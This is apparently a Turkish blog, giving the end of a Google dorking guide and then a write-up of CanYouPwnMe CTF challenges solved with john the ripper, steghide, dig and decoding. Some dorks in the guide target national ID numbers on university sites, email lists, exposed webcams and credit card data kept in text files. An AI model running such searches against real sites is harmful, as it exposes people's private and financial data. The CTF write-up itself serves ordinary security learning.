Eksi (-) : Karşınıza çıkan sonuçlarda ilgisiz başka bir kelime varsa aramanıza o kelimeyi de yazın ve başına eksi ekleyin. Google bu kelimelerin geçtiği sonuçları listeden çıkartacaktır.

Veya ( | ) : Veya işareti ile elma veya armut şeklinde arama yapabilirsiniz. Yani iki farklı kavramı aramanıza eklersiniz. Google size elma da bulsa armut da bulsa sonuç getirir.

Nokta (.) : Örnek bir arama üstünden gidelim. “m.trix” Bu şekilde arattığınızda Google, nokta gördüğü sıraya bütün karakterleri koyarak karşınıza bir sonuç çıkartacak. Yani m-trix, matrix,metrix gibi bütün kelimeleri arama sonucunda bulunduracak.


Birkaç uygulama yapalım bakalım.

İlk akla gelecek olan şey kimlik bilgileri. “intext:TCKNO filetype:pdf site:edu.tr”


Örneğin bir program arıyorsunuz ve direk dizinden indirmek istiyorsunuz. Aşağıdaki aramayı yapın ve metasploit yerine istediğiniz programı aratın.

“parent directory” metasploit -xxx -html -htm -php -shtml -opendivx -md5 -md5sums


Bir müzik arıyoruz diyelim. Neden kafa yoralım ki youtube ile veya aracı sitelerle? Bir dork çakarız ooo mis…

intitle:index.of mp3 pinhani


Diyelim ki bir mail listesine ihtiyacımız var. Hemen bir dork daha yazıyoruz.

filetype:txt inurl:”mail.txt”


Ben güvenlik kameralarını izlemek istiyorum bakalım neler var neler yokmuş.

intitle:webcam 7 inurl:8080 -intext:8080


İşin bir de dalavere tarafını düşünecek olursak, txt dosya tipinde saklanan kredi kartı bilgilerine bir bakalım.

filetype:txt card cw 2018

 

Peki siber güvenlik için kullanabileceğimiz Google dorklarını nereden bulacağız? Size iki kaynak gösterebilirim. Birisi  Google Dorking diğeri ise Exploit-DB’ye ait Google Hacking Database.

 

Kategoriler
Siber Güvenlik

CanYouPwnMe CTF Çözümleri

CanYouPwnMe CTF sorularını çözdükçe buradan paylaşacağım ve aralıklarla güncelleyeceğim. https://ctf.canyoupwn.me adresinden kayıt yaparak çözmeye başlayabilirsiniz. Vakit ayırdıkça güncelleme yapacağım. İnternette çok güzel çözümler var ama bazı sorularda farklı çözümlerim oldu kıyaslayınca fark ettim.

Flag Form : cypwn_{h4ckm3} formatında girilerek çözümler yazılacak. Süslü parantezin arasına cevabımızı yazacağız. Flag Form kısmına bunu kopyalayıp girmeniz halinde de on puan vererek yarışmayı başlatıyor sistem.

Trivia

Git101 (20 Puan)

Unutma dökümantasyon önemli.

https://github.com/londragecidi/londragecidi

Adı üstünde 101 sorusu. Girdim github hesabına, birkaç kurcalamadan sonra wiki sekmesine göz attım ve flag karşıladı beni.

Flag : cypwn_{ben_git_biliom_abi}

First DEUCE (50 Puan)

EE bre deyyus nedir bu ilk DEUCE ??

Doğrusu sorunun cevabını çok farklı yerlerde aradım. Dizi çıktı, film çıktı, tenis çıktı, daha neler neler…Tek tek flag olarak denedim farklı kombinasyonları. Ancak tutturamadım. Tutmayan her şeyi google aramamdan eledim. Sonunda karşıma bir bilgisayar markası çıktı. Alan Turing ilgimi çekti ve onu da aramama dahil ettim. Çok karıştı değil mi? 🙂

Google’daki aramam şu hali aldı :
-“The deuce” “first” “DEUCE” “Alan Turing” “computer” -dizi -şarkı -2017 -music -tennis -dictionary -shoes -ayakkabı -lyrics

http://www.alanturing.net/turing_archive/archive/infopages/london1st.html

Burada şu cümleyi gördüm : “The Pilot Model ACE was London’s first electronic computer and the third stored-program computer to function in Britain.”

Demek The Pilot Model ACE Londra’nın ilk elektronik bilgisayarı. Bunun da birkaç kombinasyonunu denerken tam hayal kırıklığına uğruyordum ki tutturdum. Bu soruya bu kadar vakit harcadığım için üzüldüm doğrusu.

Flag : cypwn_{pilot_ace}

Carrot (50 Puan)

At boyutunda ördek?

Bu soruyu aramaya başladığımda “At boyutunda bir civcivle mi yoksa yüz ördek boyutundaki bir atla mı savaşmayı tercih edersiniz?” şeklinde bir soru ile karşılaştım. Olası cins cevapları, soruyu işe alım mülakatında sorduğu iddia edilen şirket isimlerini ve birkaç denemeyi daha cevap olarak girdim ancak önceki sorudan dilim yandı bir defa. Bu işte başka bir iş var. İngilizce aramaya başladım ancak bunu keşfetmem çok zaman aldı. Aynı sorularla karşılaşınca aramamda ufak dokunuşlar yaptım ve ikinci arama sayfamda Wikipedia’nın farklı bir başlığını gördüm. Nihayetinde at boyutunda bir ördeğe benzeyen dinazor türü ile karşılaştım. Yine o kadar umutlu değilken ikinci denememde cevap geldi.

https://en.wikipedia.org/wiki/Dromornithidae

Flag : cypwn_{dromornithidae}

INTELLIGENCE (50 Puan)

Bu çocuk müthiş istihbarat tekniği kullandı. 🙂

Yine bir iki denemem oldu. İstihbarat tekniklerini yazdım ancak doğru çıkmadı. Sonra çark ettim ki aradığım tüm sayfaların ortak noktası OSINT. Eh, öyleyse biz de bunu yazarız dedik. Bingo 🙂

Flag : cypwn_{OSINT}

Forensics

Flog (25 Puan)

http://s3.dosya.tc/server10/ol4jyx/canyoupwnme.rar.html

Rar dosyasının içinden bir log kaydı çıkıyor. Ben de “cypwn_{” yazarak aratıyorum. Ve tam üstüne denk geliyorum. Tertemiz kurtuluyorum sorudan 🙂

Flag : cypwn_{canyoupwnme_log}

Is Empty? (50 Puan)

Daha dün baktım burdaydı ama şimdi bulamıyorum?

https://drive.google.com/open?id=0B5i8WVYofXg6QWxVNUQyTkRfRW8

Parola korumalı bir zip dosyası söz konusu. Öyleyse john the ripper aracı imdadımıza yetişir.

“zip2john demorepo.zip > demorepo.hash” komutunu kullanıyorum. Şimdi şu hash dosyasını kırmaya bakalım.

“john demorepo.hash –show” parametresi ile son hamlemi yapıyorum. Parola : 12345

Sonra dosyaların içinde deli danalar gibi gezinmeye başlıyorum. Bakalım işe yarar ne var? Aradığım şeyin config dosyasında olduğunu buluyorum.

url = https://github.com/stolera/demorepo.git

Github hesabından flagi elde ediyorum.

Flag : cypwn_{easy_peasy_lemon_squeezy}

OSINT

NS (10 Puan)

canyoupwn.me ‘nin nameserverlarından birisi?

Herhangi bir web sitesi üzerinden CanYouPwnMe nameserverlarını sorgulayabiliriz. Ben linux araçlarından dig ile yaptım.

Komut : dig canyoupwnme mx
Karşıma iki NS çıktı.

ada.ns.cloudflare.com
zod.ns.cloudflare.com
Flag : cypwn_{ada.ns.cloudflare.com}

Mail (25 Puan)

Bu canyoupwn.me mailleri nerede barındırıyor acaba?

OSINT kategorisindeki NS sorusunda dig aracı ile yaptığım sorgu aslında bu sorunun da cevabını verdi. Şans 🙂

Flag : cypwn_{mx.yandex.net}

xCyberX (50 Puan)

Siber suçlular gizli ağlardan erişim sağlayarak orjinal Mona Lisa tablosunun taranmış digital kopyasını ele geçirdiler. Bu orjinal resmin yerine ise başka bir resim bırakmışlar. Siber suçluları takibe hazır mısın ? Bıraktıkları resim dosyası aşağıdadır.

https://drive.google.com/open?id=0B5i8WVYofXg6c29VYlg2MUZTQkk

Her gördüğüm fotoğrafta bir fotoforensic işlemi arıyorum. Bunda da ilk önce onu yaptım. Didik didik ettim hiçbir şey çıkmadı. Sonra soruya dikkat etmediğimi düşünüp tekrar döndüm. Dedim şunu steghide ile açayım. xcyberx ve ona yakın bazı anahtarlar belirledim kendime ve denemeye başladım. Sonucu aşağıdaki komut verdi. Yani cyberx.

steghide extract -sf RockYouFor_cyber_.jpg

Nihayet hint.txt isimli bir belge çıkıyor fotoğrafın içinden. Onda da aşağıdaki link yer alıyor.

https://yadi.sk/i/zxpANdeJ38yUKK

Karşımıza bir karekod çıkıyor. Bunu da herhangi bir karekod decode sitesinde çözüyorum. Bu sefer de tahminimce base64 ile şifrelenmiş bir metin var.

Doğru yoldasın dostum devam et..go go go!!!flag : aWV2Y3Rfe20wMGpfcDBIX0h4MF9lMGFfQHgzX0BfbkBpcTNYfQ==

Decode ettiğimde şununla karşılaşıyorum : ievct_{m00j_p0H_Hx0_e0a_@x3_@_n@iq3X}

Bir iki denemeden sonra da ROT ile şifrelendiğini keşfediyorum ve çözdüğümde flag karşıma çıkıyor.

Flag : cypwn_{g00d_j0B_Br0_y0u_@r3_@_h@ck3R}

Secret (100 Puan)

secret.canyoupwn.me

Verilen adrese erişim yok. Ne ola ki? Sazanlık edip soru bozuk bile dedim itiraf ediyorum. Sonra DNS sorgusundan cevabı buldum.

http://www.iyinet.com/dns-sorgulama/url/secret.canyoupwn.me

Flag : cypwn_{kks271723jjjasd9asd771239}